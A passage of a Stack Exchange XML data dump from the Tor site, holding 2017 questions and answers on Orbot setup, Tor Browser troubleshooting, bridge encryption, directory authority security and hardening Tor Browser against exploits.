not connect to Tor control port&quot;" Tags="|help|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="14407" PostTypeId="1" AcceptedAnswerId="14408" CreationDate="2017-03-27T09:42:26.667" Score="1" ViewCount="2708" Body="&lt;p&gt;When I go into orbot app and try to browse itsays my ip address isnt hidden and im not connected to Tor first time on this can anyine help me out?&lt;/p&gt;&#xA;" OwnerUserId="16850" LastActivityDate="2017-03-27T10:04:40.060" Title="Not connectin to tor network" Tags="|orbot|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14408" PostTypeId="2" ParentId="14407" CreationDate="2017-03-27T10:04:40.060" Score="1" Body="&lt;p&gt;It's probably because you browser doesn't connect via tor/orbot. There a different options to get it working:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Install &lt;a href=&quot;https://guardianproject.info/apps/orfox/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Orfox&lt;/a&gt;, it uses Orbot by default.&lt;/li&gt;&#xA;&lt;li&gt;Enable VPN mode and have all traffic routed through tor. Open the main menu (top left corner) and enable &quot;Apps VPN Mode&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;a href=&quot;https://github.com/anthonycr/Lightning-Browser&quot; rel=&quot;nofollow noreferrer&quot;&gt;Lightning Browser&lt;/a&gt; that support for Orfox. (Not sure how you enable Orbot proxy mode.)&lt;/li&gt;&#xA;&lt;li&gt;Use a regular browser and enable socks proxy mode. (I'd not really recommend this though.)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I recommend you use Orfox, it provides the best privacy. You can also use Orfox together with VPN mode in case you want to have traffic generated by all apps, not just your browser, to be routed through Tor.&lt;/p&gt;&#xA;" OwnerUserId="16657" LastActivityDate="2017-03-27T10:04:40.060" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14409" PostTypeId="1" CreationDate="2017-03-27T12:23:19.590" Score="1" ViewCount="26379" Body="&lt;p&gt;I can't surf in tor to see deep websites. it shows , &quot;Connection Timed Out&quot;. Here is my tor log.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;27-03-2017 12:15:45.500 [NOTICE] Bootstrapped 85%: Finishing handshake with first hop &#xA;27-03-2017 12:15:46.200 [NOTICE] Bootstrapped 90%: Establishing a Tor circuit &#xA;27-03-2017 12:15:48.300 [NOTICE] Tor has successfully opened a circuit. Looks like client functionality is working. &#xA;27-03-2017 12:15:48.300 [NOTICE] Bootstrapped 100%: Done &#xA;27-03-2017 12:15:49.200 [NOTICE] New control connection opened from 127.0.0.1. &#xA;27-03-2017 12:15:49.300 [NOTICE] New control connection opened from 127.0.0.1. &lt;/p&gt;&#xA;" OwnerUserId="16851" LastActivityDate="2017-03-27T14:19:32.953" Title="shows &quot;Connection Timed Out&quot; on tor" Tags="|configuration|error|connection|" AnswerCount="1" CommentCount="1" ClosedDate="2017-03-27T21:13:17.053" ContentLicense="CC BY-SA 3.0" />
  <row Id="14410" PostTypeId="2" ParentId="14409" CreationDate="2017-03-27T14:19:32.953" Score="0" Body="&lt;p&gt;The &quot;Connection Timed Out&quot; is shown by Tor Browser in case it can't reach a page. It generally indicates the site isn't available rather than that Tor isn't set up properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To ensure that Tor is working go to &lt;a href=&quot;https://check.torproject.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://check.torproject.org&lt;/a&gt;. If you want to verify that you can reach .onion addresses try one of addresses listed on &lt;a href=&quot;https://onion.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://onion.torproject.org/&lt;/a&gt; or on &lt;a href=&quot;https://onion.debian.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://onion.debian.org/&lt;/a&gt;. The addresses on these lists are pretty reliable.&lt;/p&gt;&#xA;" OwnerUserId="16657" LastActivityDate="2017-03-27T14:19:32.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14411" PostTypeId="1" CreationDate="2017-03-27T17:24:31.753" Score="2" ViewCount="132" Body="&lt;p&gt;There was a similar question, but there was no answer. I want to do this: TBB-&gt;entry node-&gt;middle node-&gt;exit node-&gt;PROXY-&gt;website&#xA;At the moment I've got Linux, TBB properly installed, Privoxy properly installed. Tons of read manuals. Google read. Privoxy manuals read.&#xA;Please explain what exactly am I to write in Privoxy's config file and how to configure TBB.&#xA;If you've experienced another decision with no Privoxy, then please share it.&lt;/p&gt;&#xA;" OwnerUserId="16855" LastActivityDate="2017-03-27T17:24:31.753" Title="Howto TBB-&gt;entry node-&gt;middle node-&gt;exit node-&gt;PROXY-&gt;website?" Tags="|tor-browser-bundle|proxy|privoxy|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14413" PostTypeId="1" CreationDate="2017-03-28T10:58:10.317" Score="2" ViewCount="213" Body="&lt;p&gt;When I connect to a bridge is my encryption key the same as the encryption key for all other users to the same bridge or does the encryption key differ from one user to another for that same bridge?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so how does the bridge pair the user and the key?&lt;/p&gt;&#xA;" OwnerUserId="16859" LastActivityDate="2017-03-28T13:39:58.157" Title="Does all bridge users have the same encryption key?" Tags="|security|bridge|encryption|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14414" PostTypeId="2" ParentId="14413" CreationDate="2017-03-28T13:25:37.183" Score="0" Body="&lt;p&gt;I took a look at obfs4, other bridge protocols may differ.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's look at a bridge address for obfs4:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; obfs4 11.12.13.14:1516 64F77F8178AAFDD19035F398B28ABCD16C45A7DD cert=BF0SD8D0SBKmW8z4AMF+Ik3SiizaEdgRCrbKNYpLjr1qESQ8vQVLo3H6ioIa8KlhnV/wWg iat-mode=0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll notice the &lt;code&gt;cert=…&lt;/code&gt; part, it contains certificate used to authenticate the bridge. It fulfills the same functionality as &lt;a href=&quot;https://en.wikipedia.org/wiki/Public_key_certificate&quot; rel=&quot;nofollow noreferrer&quot;&gt;SSL certificates&lt;/a&gt;, it proofs the identity of your peer, the bridge, and ensures data integrity. The certificate is shared amongst all clients. It does not contain sensitive data, so this is secure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The encryption key itself is &lt;a href=&quot;https://en.wikipedia.org/wiki/Key_exchange&quot; rel=&quot;nofollow noreferrer&quot;&gt;derived&lt;/a&gt; during the handshake, and is unique. The certificate ensures that no &lt;a href=&quot;https://en.wikipedia.org/wiki/Man-in-the-middle_attack&quot; rel=&quot;nofollow noreferrer&quot;&gt;man-in-the-middle attack&lt;/a&gt; can be mounted during the handshake.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also take a look at the &lt;a href=&quot;https://gitweb.torproject.org/pluggable-transports/obfs4.git/tree/doc/obfs4-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;obfs4 protocol specification&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="16657" LastActivityDate="2017-03-28T13:25:37.183" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14415" PostTypeId="2" ParentId="14413" CreationDate="2017-03-28T13:39:58.157" Score="2" Body="&lt;p&gt;Whenever your client makes a connection to a bridge or any other Tor relay it negotiates an individual key. So this key if different from a key which another client uses and also from a key which your client negotiates in the next twenty minutes.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2017-03-28T13:39:58.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14416" PostTypeId="1" AcceptedAnswerId="14418" CreationDate="2017-03-28T13:41:40.803" Score="1" ViewCount="94" Body="&lt;p&gt;What's the linux shell program to control local Tor (change identity, see connections, etc)? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;AFAIR it looks like 'top'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can't find it.&lt;/p&gt;&#xA;" OwnerUserId="16863" LastActivityDate="2017-03-28T13:53:36.917" Title="What's the linux shell program to control local Tor (change identity, etc)? Looks like 'top'" Tags="|linux|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14417" PostTypeId="1" CreationDate="2017-03-28T13:51:16.303" Score="0" ViewCount="55" Body="&lt;p&gt;Good morning everyone and thank you in advance for your answers :). I use VPN on my computer and I also downloaded the Tor Browser. When I turn on the computer, I connect to the Internet and turn my VPN and only after I turn Tor Browser so my ISP knows only that I connect to my VPN and my VPN knows only that I connect to the Tor Browser. Even when I want to disconnect myself, I close Tor Browser and after I disconnect from the VPN, and finally I get disconnected from the internet. Now, I have enabled automatic updates in the Tor Browser (it says that it is safer to have them), and my question is: Can Tor Browser update even when it is not open? I'm not always connected to the VPN, when I browse with the normal browser, and I do not want my ISP knows that I use Tor Browser (in fact if it would update also when it is not opened, it could be updated even when I'm not connected to the VPN.) thank you in advance for your answers. :)&lt;/p&gt;&#xA;" OwnerUserId="16864" LastActivityDate="2017-03-28T14:24:27.137" Title="Tor Browser is updated even when it is not open?" Tags="|vpn|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14418" PostTypeId="2" ParentId="14416" CreationDate="2017-03-28T13:53:36.917" Score="0" Body="&lt;p&gt;It's called &lt;code&gt;arm&lt;/code&gt; (packet name on Debian is &lt;code&gt;tor-arm&lt;/code&gt;). There is also &lt;code&gt;nyx&lt;/code&gt; which is supposed to replace &lt;code&gt;arm&lt;/code&gt; at some point. Never tried it myself though.&lt;/p&gt;&#xA;" OwnerUserId="16657" LastActivityDate="2017-03-28T13:53:36.917" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14419" PostTypeId="2" ParentId="14417" CreationDate="2017-03-28T14:24:27.137" Score="1" Body="&lt;p&gt;Automatic updates are only done while Tor Browser is running. Just make sure it is not running while your VPN is off.&lt;/p&gt;&#xA;" OwnerUserId="16657" LastActivityDate="2017-03-28T14:24:27.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14421" PostTypeId="1" CreationDate="2017-03-28T20:38:50.993" Score="2" ViewCount="822" Body="&lt;p&gt;I've downloaded the tor browser (Windows). Now where do I go from there and how do I actually open the browser? I see the browser-download is in my map of downloads, but nothing happens when I try to &quot;open&quot; the download. There was also nothing that popped up when the download was finished.&lt;/p&gt;&#xA;" OwnerUserId="16866" LastEditorDisplayName="user5" LastEditDate="2017-03-30T21:12:05.247" LastActivityDate="2017-06-01T16:56:03.917" Title="Tor Browser Downloaded - Where do I go from here?" Tags="|tor-browser-bundle|configuration|windows|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14422" PostTypeId="1" CreationDate="2017-03-29T03:52:12.103" Score="2" ViewCount="228" Body="&lt;p&gt;The title is my question--does Tor block access to your internet browsing history before you download Tor, or does it block access to your internet use after downloading Tor? &lt;/p&gt;&#xA;" OwnerUserId="16871" LastActivityDate="2017-04-28T06:07:15.267" Title="Does Tor prevent people from finding the sites you visited before dowloading Tor, or does it only block your history after downloading Tor?" Tags="|onion-services|security|browsers|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14423" PostTypeId="2" ParentId="14422" CreationDate="2017-03-29T05:45:52.307" Score="1" Body="&lt;p&gt;I assume you're talking about Tor Browser here. Tor Browser itself doesn't keep a history of the pages you visited. If it comes to any pages you visit using other browsers, Tor Browser does not try to stop them from storing any history.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you used another browser for browsing or to download Tor Browser, that history is not removed.&lt;/p&gt;&#xA;" OwnerUserId="16657" LastActivityDate="2017-03-29T05:45:52.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14424" PostTypeId="1" AcceptedAnswerId="14429" CreationDate="2017-03-29T13:36:30.273" Score="2" ViewCount="169" Body="&lt;p&gt;I understand that the first thing a Tor user do is connect to a directory server to obtain a list of tor nodes, which can be found here:&#xA;&lt;a href=&quot;https://atlas.torproject.org/#search/flag:authority&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://atlas.torproject.org/#search/flag:authority&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;What prevents a directory server from being dishonest and give malicious data to the user?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What prevents attackers from attacking the directory server, i.e DDoS or anything forms of attacks?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="16876" LastActivityDate="2017-03-30T07:10:14.703" Title="What prevents directory server from being attacked?" Tags="|directory|attacks|server|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14426" PostTypeId="1" CreationDate="2017-03-29T16:12:46.317" Score="1" ViewCount="216" Body="&lt;p&gt;Recieved this notice when trying to browse for the first time time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Your IP address appears to be: 109.163.234.8&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it does not appear to be Tor Browser.&#xA;Click here to go to the download page&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The notice says the browser is configured but does not appear to be a Tor Browser.  Q: what do I do next?&lt;/p&gt;&#xA;" OwnerUserId="16878" LastActivityDate="2017-03-29T16:55:08.243" Title="browser configuration" Tags="|help|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14428" PostTypeId="1" CreationDate="2017-03-29T17:10:20.080" Score="2" ViewCount="123" Body="&lt;p&gt;I was wondering if Tor will remain affective after this law is passed? &#xA;&lt;a href=&quot;https://www.congress.gov/bill/115th-congress/senate-joint-resolution/34&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.congress.gov/bill/115th-congress/senate-joint-resolution/34&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16880" LastEditorDisplayName="user5" LastEditDate="2017-03-29T19:27:23.507" LastActivityDate="2017-03-29T19:27:23.507" Title="Will Tor remain effective after the reversal of the FCC's &quot;Protecting the Privacy of Customers of Broadband and Other Telecommunications Services&quot;" Tags="|network-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14429" PostTypeId="2" ParentId="14424" CreationDate="2017-03-29T17:22:26.220" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What prevents a directory server from being dishonest and give malicious data to the user?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The information served by the directories is generated by reaching a consensus between the authorities. You would have to control the majority of the authorities to manipulate the consensus. This should be fairly hard as they are neither under the control of one single entity nor within a single legal jurisdiction. Manipulating the consensus is exactly easy either, the votes are cryptographically signed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I don't think it's worth the effort. I'm not sure for how long you can manipulate the consensus without anyone noticing it. The directory information can be checked by anyone, just replacing all relays, for instance, should be fairly easy to detect.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What prevents attackers from attacking the directory server, i.e DDoS or anything forms of attacks?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Tor comes with a &lt;a href=&quot;https://gitweb.torproject.org/tor.git/tree/src/or/fallback_dirs.inc&quot; rel=&quot;nofollow noreferrer&quot;&gt;list of hardcoded directory mirrors&lt;/a&gt; that are used when you first connect. This spreads the load among many hosts, making DDoS attacks harder. When you connect the next time, you'll have the full list of mirrors from the consensus you fetched. (Directory mirrors are shown as V2Dir in Atlas.)&lt;/p&gt;&#xA;" OwnerUserId="16657" LastEditorUserId="88" LastEditDate="2017-03-30T07:10:14.703" LastActivityDate="2017-03-30T07:10:14.703" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14431" PostTypeId="2" ParentId="14428" CreationDate="2017-03-29T17:28:42.317" Score="1" Body="&lt;p&gt;Yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor already provided protection from a snooping ISP, since it intends to protect from any single vantage point from being able to deanonymize Tor users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your ISP will see what it already has:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You use Tor.&lt;/li&gt;&#xA;&lt;li&gt;When you use Tor.&lt;/li&gt;&#xA;&lt;li&gt;How long you use Tor for.&lt;/li&gt;&#xA;&lt;li&gt;How much (traffic/volume) you use Tor.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-03-29T17:28:42.317" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14432" PostTypeId="1" CreationDate="2017-03-29T17:54:46.517" Score="1" ViewCount="28" Body="&lt;pre&gt;&lt;code&gt;3/29/2017 11:51:07 AM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/29/2017 11:51:07 AM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/29/2017 11:51:07 AM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/29/2017 11:51:07 AM.600 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;3/29/2017 11:51:08 AM.500 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;3/29/2017 11:51:08 AM.800 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;3/29/2017 11:54:05 AM.600 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;3/29/2017 11:54:05 AM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/29/2017 11:54:05 AM.600 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;3/29/2017 11:54:06 AM.400 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;3/29/2017 11:54:23 AM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/29/2017 11:54:23 AM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/29/2017 11:54:23 AM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/29/2017 11:54:23 AM.600 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;3/29/2017 11:54:48 AM.900 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;3/29/2017 11:54:48 AM.900 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/29/2017 11:54:48 AM.900 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;3/29/2017 11:54:48 AM.900 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 8; recommendation warn; host A2C13B7DFCAB1CBF3A884B6EB99A98067AB6EF44 at 0.0.2.0:3) &#xA;3/29/2017 11:54:48 AM.900 [WARN] 8 connections have failed: &#xA;3/29/2017 11:54:48 AM.900 [WARN]  8 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;3/29/2017 11:55:08 AM.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/29/2017 11:55:08 AM.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/29/2017 11:55:08 AM.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/29/2017 11:55:08 AM.000 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;3/29/2017 11:55:24 AM.300 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;3/29/2017 11:55:24 AM.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/29/2017 11:55:24 AM.300 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;3/29/2017 11:59:14 AM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/29/2017 11:59:14 AM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/29/2017 11:59:14 AM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/29/2017 11:59:14 AM.800 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;3/29/2017 12:00:10 PM.300 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 10; recommendation warn; host 0131CAF1A36BB8661686C931D79ED7D54BA91D4C at 45.32.234.160:443) &#xA;3/29/2017 12:00:10 PM.300 [WARN] 22 connections have failed: &#xA;3/29/2017 12:00:10 PM.300 [WARN]  12 connections died in state handshaking (proxy) with SSL state (No SSL object) &#xA;3/29/2017 12:00:10 PM.300 [WARN]  9 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;3/29/2017 12:00:10 PM.300 [WARN]  1 connections died in state connect()ing with SSL state (No SSL object) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16881" LastEditorUserId="16657" LastEditDate="2017-03-29T20:48:38.797" LastActivityDate="2017-03-29T20:48:38.797" Title="I seem to be blocked, despite custom bridges. How can I get around this error?" Tags="|directory|encryption|" AnswerCount="0" CommentCount="2" ClosedDate="2017-05-09T12:03:19.403" ContentLicense="CC BY-SA 3.0" />
  <row Id="14433" PostTypeId="1" CreationDate="2017-03-29T20:04:33.767" Score="0" ViewCount="1422" Body="&lt;p&gt;This site: &lt;a href=&quot;http://www.hongkiat.com/blog/do-donts-tor-network/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.hongkiat.com/blog/do-donts-tor-network/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;claims that &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tor Browser Bundle should not be used to protect one’s online privacy and security. FBI’s recent takedown of Freedom Hosting (an anonymous web-hosting service running as a hidden service on the Tor network) was possible due to vulnerabilities in the Tor Browser Bundle.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Are they right?  Do those vulnerabilities exist?  If so, how to avoid them?&lt;/p&gt;&#xA;" OwnerUserId="16884" LastEditorUserId="88" LastEditDate="2017-04-20T23:24:01.150" LastActivityDate="2017-04-20T23:24:01.150" Title="Do vulnerabilities exist in Tor Browser Bundle" Tags="|tor-browser-bundle|deanonymization|vulnerability|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14434" PostTypeId="2" ParentId="14433" CreationDate="2017-03-29T20:38:36.097" Score="1" Body="&lt;p&gt;Interesting article. I don't know what the exact vulnerabilities are they talk about. But, yes, Tor Browser like any other software, has vulnerabilities. I'm not aware of any other browser that is designed to protect your privacy as thoroughly as Tor Browser. Take a look at the &lt;a href=&quot;https://www.torproject.org/projects/torbrowser/design/&quot; rel=&quot;nofollow noreferrer&quot;&gt;design document&lt;/a&gt; to see for yourself what is needed to get a reasonably private browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I recommend you stick with Tor Browser. (If you find anything better, let me know.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are ways to improve security and privacy when using Tor Browser though:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Set the security slider to a higher level.&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html.en#downloads-hardened&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hardened Tor Browser&lt;/a&gt;, it has some additional security build in but is also slower.&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorBrowser/Sandbox/Linux&quot; rel=&quot;nofollow noreferrer&quot;&gt;the Sandbox version of Tor Broswer&lt;/a&gt;, linux only and very early alpha.&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;a href=&quot;https://tails.boum.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tails&lt;/a&gt; as your OS, preferably on a separate machine.&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;a href=&quot;https://www.whonix.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Whonix&lt;/a&gt; as your OS, haven't tried it myself, so don't know how well it works.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="16657" LastActivityDate="2017-03-29T20:38:36.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14435" PostTypeId="1" CreationDate="2017-03-29T21:27:38.547" Score="3" ViewCount="162" Body="&lt;p&gt;_&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dear Tor-community,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We would like to run a tahoe-lafs-grid over tor, so different tahoe-lafs-nodes don't necessarily need to know each other. They should never reach each other outside of the tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to whitelist or specify tor-relay-nodes when connecting each tahoe-lafs-node, so huge traffic loads of the tahoe-lafs-grid don't have an impact on the whole tor network, but mainly only on the nodes hosted by us?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We wan't to provide a service accessible for everyone (including us), while also not slowing down the tor network.&lt;/p&gt;&#xA;" OwnerUserId="16885" LastActivityDate="2017-07-28T10:25:14.777" Title="Tahoe-LAFS over Tor" Tags="|configuration|relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14436" PostTypeId="2" ParentId="14433" CreationDate="2017-03-30T01:34:17.100" Score="2" Body="&lt;p&gt;The article is &lt;em&gt;mostly&lt;/em&gt; wrong headed, at least in how the article presents it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tl;dr - Tor Browser does a great job of making you anonymous against passive observers, it lacks against active exploitation. You should use Tor Browser but also look to isolate and/or sandbox Tor Browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor Browser doesn't currently have any publicly known vulnerabilities, that does not mean such vulnerabilities do not exist. This is true for &lt;em&gt;all&lt;/em&gt; software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Law enforcement resort to exploiting vulnerabilities in end points because the Tor network does it's job. Tor Browser has forced Eve (&lt;em&gt;a passive eavesdropper&lt;/em&gt;) to become Mallory (&lt;em&gt;an active attacker&lt;/em&gt;). This is because Tor Browser does it's intended job well, it protects the user from leaking information and provides a solid anonymity set for users. &lt;em&gt;Currently no other browser used in conjunction with Tor will provide the same protection against Eve!&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While people may argue (and correctly so) that Chrom{e,ium} may provide better protection against active exploitation, it will not provide the kind of protection against &lt;em&gt;passive deanonymization&lt;/em&gt; that Tor Browser does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider also that while Chrom{e,ium} is sandboxed against specific kinds of exploitation, their sandbox is incredibly limited in it's scope.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the perspective of an attacker who wants to plant malware or spyware on your computer, it is difficult to exploit Chrom{e,ium}. You need to chain together multiple types of vulnerabilities to execute some kind of arbitrary code outside of the sandbox while also bypassing other memory corruption exploit mitigations (&lt;em&gt;never-the-less, you should remember that on an almost yearly basis people do manage to create such exploit chains&lt;/em&gt;). The goal of their exploit is to perform activities outside of the browser's normal usage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider the case of a Tor user, leaking a DNS lookup or making a connection outside of Tor could be used to deanonymize a user. This is a totally different threat model than the one that Chrom{e,ium}'s sandbox defends against. It will leak and it could be used to deanonymize you, these are normal functions that browsers perform, which are not defended against by any extra protections you would gain against the other kind of attacker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Their simplistic suggestion of clearing &quot;cookies and local data&quot; doesn't come close to covering the kind of tracking/tagging side-channels possible in modern browser features. These are things that Tor Browser is designed to defend against and is entirely out of scope for stock browsers (even with &quot;privacy&quot; extensions). Unfortunately Firefox does, as noted, have issues defending against Mallory...&lt;em&gt;however&lt;/em&gt; not using Tor Browser isn't the correct solution, instead you should look to isolate and harden Tor Browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hardened containers, full process sandboxing, tor enforcing packet filters or isolated proxies and virtualization are but a few of the options available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorBrowser/Sandbox/Linux&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Browser Sandbox&lt;/a&gt;, QubesOS, Whonix, Tails and Subgraph for some examples of how to implement this approach.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-03-30T01:34:17.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
